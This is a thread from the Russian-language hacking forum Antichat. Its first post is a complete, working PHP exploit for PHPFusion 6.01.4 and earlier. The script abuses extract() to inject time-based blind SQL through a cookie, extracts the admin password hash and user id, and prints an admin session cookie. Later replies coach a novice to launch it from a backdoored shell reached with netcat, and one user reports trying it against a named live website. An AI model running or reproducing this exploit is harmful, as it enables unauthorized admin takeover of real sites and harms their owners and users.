ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
php-fusion 6.01.4 exploit sql |

11.10.2006, 23:38
|
|
Новичок
Регистрация: 11.10.2006
Сообщений: 6
Провел на форуме: 15126
Репутация:
17
|
|
php-fusion 6.01.4 exploit sql
If somebody needs...
Код:
#!/usr/bin/php -q -d short_open_tag=on
<?
print_r('
--------------------------------------------------------------------------------
PHPFusion <= 6.01.4 extract()/_SERVER[REMOTE_ADDR] sql injection exploit
by rgod rgod@autistici.org
site: http://retrogod.altervista.org
--------------------------------------------------------------------------------
');
/*
works with
register globals = *Off*
magic_quotes_gcp = Off
explaination:
vulnerable code in maincore.php at lines 15-21:
...
if (ini_get('register_globals') != 1) {
$supers = array("_REQUEST","_ENV","_SERVER","_POST","_GET","_COOKIE","_SESSION","_FILES","_GLOBALS");
foreach ($supers as $__s) {
if ((isset($$__s) == true) && (is_array($$__s) == true)) extract($$__s, EXTR_OVERWRITE);
}
unset($supers);
}
...
extract() function can be sometimes a security hazard, in this case it allows
to overwrite some arrays like _SERVER[] one and launch an sql injection attack,
ex:
http://[target]/[path]/news.php?_SERVER[REMOTE_ADDR]='[SQL]
other attacks may be possible...
*/
if ($argc<3) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path OPTIONS
host: target server (ip/hostname)
path: path to PHPFusion
Options:
-T[prefix: specify a table prefix (default: fusion_)
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
Examples:
php '.$argv[0].' localhost /fusion/
php '.$argv[0].' localhost /fusion/ -p81
php '.$argv[0].' localhost / -P1.1.1.1:80
--------------------------------------------------------------------------------
');
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}
$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
$prefix="fusion_";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-T")
{
$prefix=str_replace("-T","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters
$j=1;$password="";
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$chars))
{
$sql="1.1.1.999'/**/UNION/**/SELECT/**/IF((ASCII(SUBSTRING(user_password,".$j.",1))=".$i."),benchmark(2000000,sha1('sun-tzu')),0)/**/FROM/**/".$prefix."users/**/WHERE/**/user_level=103/*";
echo "sql -> ".$sql."\n";
$sql=urlencode($sql);
$packet="GET ".$p."news.php HTTP/1.0\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: _SERVER[REMOTE_ADDR]=$sql;\r\n";
$packet.="Connection: Close\r\n\r\n";
usleep(2000000);
$starttime=time();
sendpacketii($packet);
$endtime=time();
echo "starttime -> ".$starttime."\n";
echo "endtime -> ".$endtime."\n";
$difftime=$endtime - $starttime;
echo "difftime -> ".$difftime."\n";
if ($difftime > 10) {$password.=chr($i);echo "password -> ".$password."[???]\n";sleep(1);break;}
}
if ($i==255) {die("\nExploit failed...");}
}
$j++;
}
$chars[]="";
$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$j=1;$id="";
while (!strstr($id,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$chars))
{
$sql="1.1.1.999'/**/UNION/**/SELECT/**/IF((ASCII(SUBSTRING(user_id,".$j.",1))=".$i."),benchmark(2000000,sha1('sun-tzu')),0)/**/FROM/**/".$prefix."users/**/WHERE/**/user_level=103/*";
echo "sql -> ".$sql."\n";
$sql=urlencode($sql);
$packet="GET ".$p."news.php HTTP/1.0\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: _SERVER[REMOTE_ADDR]=$sql;\r\n";
$packet.="Connection: Close\r\n\r\n";
usleep(2000000);
$starttime=time();
sendpacketii($packet);
$endtime=time();
echo "starttime -> ".$starttime."\n";
echo "endtime -> ".$endtime."\n";
$difftime=$endtime - $starttime;
echo "difftime -> ".$difftime."\n";
if ($difftime > 10) {$id.=chr($i);echo "id -> ".$id."[???]\n";sleep(1);break;}
}
if ($i==255) {die("\nExploit failed...");}
}
$j++;
}
echo "admin cookie -> fusion_user=".trim($id).$password.";\n";
?>
|
|
|

30.12.2006, 22:38
|
|
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
Провел на форуме: 19975136
Репутация:
4536
|
|
Кто может обьяснить, или снять видео, как пользоваться ?) Ну или хоть в двух словах, где что поменять надо, если надо, или написать в командной строке.
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path OPTIONS
host: target server (ip/hostname)
path: path to PHPFusion
Options:
-T[prefix: specify a table prefix (default: fusion_)
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
Examples:
php '.$argv[0].' localhost /fusion/
php '.$argv[0].' localhost /fusion/ -p81
php '.$argv[0].' localhost / -P1.1.1.1:80
--------------------------------------------------------------------------------
мда.
|
|
|

06.02.2007, 19:35
|
|
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
Провел на форуме: 9751379
Репутация:
3812
|
|
2 memo
Форум добавил пробел на 108 строке в переменную $html , убери его
__________________
|
|
|

06.02.2007, 22:48
|
|
Новичок
Регистрация: 28.01.2007
Сообщений: 10
Провел на форуме: 18937
Репутация:
0
|
|
Сообщение от +toxa+
2 memo
Форум добавил пробел на 108 строке в переменную $html , убери его
спасибо, нашел, бум смотреть дальше 
|
|
|

06.02.2007, 23:45
|
|
Новичок
Регистрация: 28.01.2007
Сообщений: 10
Провел на форуме: 18937
Репутация:
0
|
|
Может быть что-то в инсталяции или настройках php не так, после ввода с консоли
c:\php\>php c:\sp\sp.php
выдаёт распечатку файла sp.php, как после досовской команды type.
Ощущение такое, что интерпретатор php не работает. Сейчас пробую дома на php 5.2.0
Раньше пробовал на работе, на более древней версии php, но там интерпретатор работал, выдавал синтаксическую ошибку. Есть ли какие особенности инсталирования или какие-то явные причины нерабочего состояния интерпретатора php?
Последний раз редактировалось memo; 06.02.2007 в 23:48..
|
|
|

07.02.2007, 15:11
|
|
Новичок
Регистрация: 28.01.2007
Сообщений: 10
Провел на форуме: 18937
Репутация:
0
|
|
Вроде, заработало, но сплойту мешает прокся за которой сижу. Есть ли варианты выхода через прокси?

|
|
|

07.02.2007, 15:14
|
|
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
Провел на форуме: 9751379
Репутация:
3812
|
|
А ты с шелла запускай...
__________________
|
|
|

07.02.2007, 18:52
|
|
Новичок
Регистрация: 28.01.2007
Сообщений: 10
Провел на форуме: 18937
Репутация:
0
|
|
Сообщение от +toxa+
А ты с шелла запускай...
Где почитать, чтоб попроще? Не пробовал ниразу 
|
|
|

07.02.2007, 23:26
|
|
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
Провел на форуме: 9751379
Репутация:
3812
|
|
Да нигде... запускай на шелле бэкдор, коннекться неткэтом и запускай...
__________________
|
|
|

08.02.2007, 01:55
|
|
Новичок
Регистрация: 28.01.2007
Сообщений: 10
Провел на форуме: 18937
Репутация:
0
|
|
Сообщение от +toxa+
Да нигде... запускай на шелле бэкдор, коннекться неткэтом и запускай...
ниасилю...
вот попробовал другой вариант, команда таже, но без прокси, ответ пишет такой:
No response from http://www.conadsis.com:80
так надо понимать, что 80-ый порт не подходит?
Как узнать на каком порте надо ресурс указать?
Штук десять сайтов попробовал и на всех No response..., видимо, что-то не так делаю.
Последний раз редактировалось memo; 08.02.2007 в 02:03..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|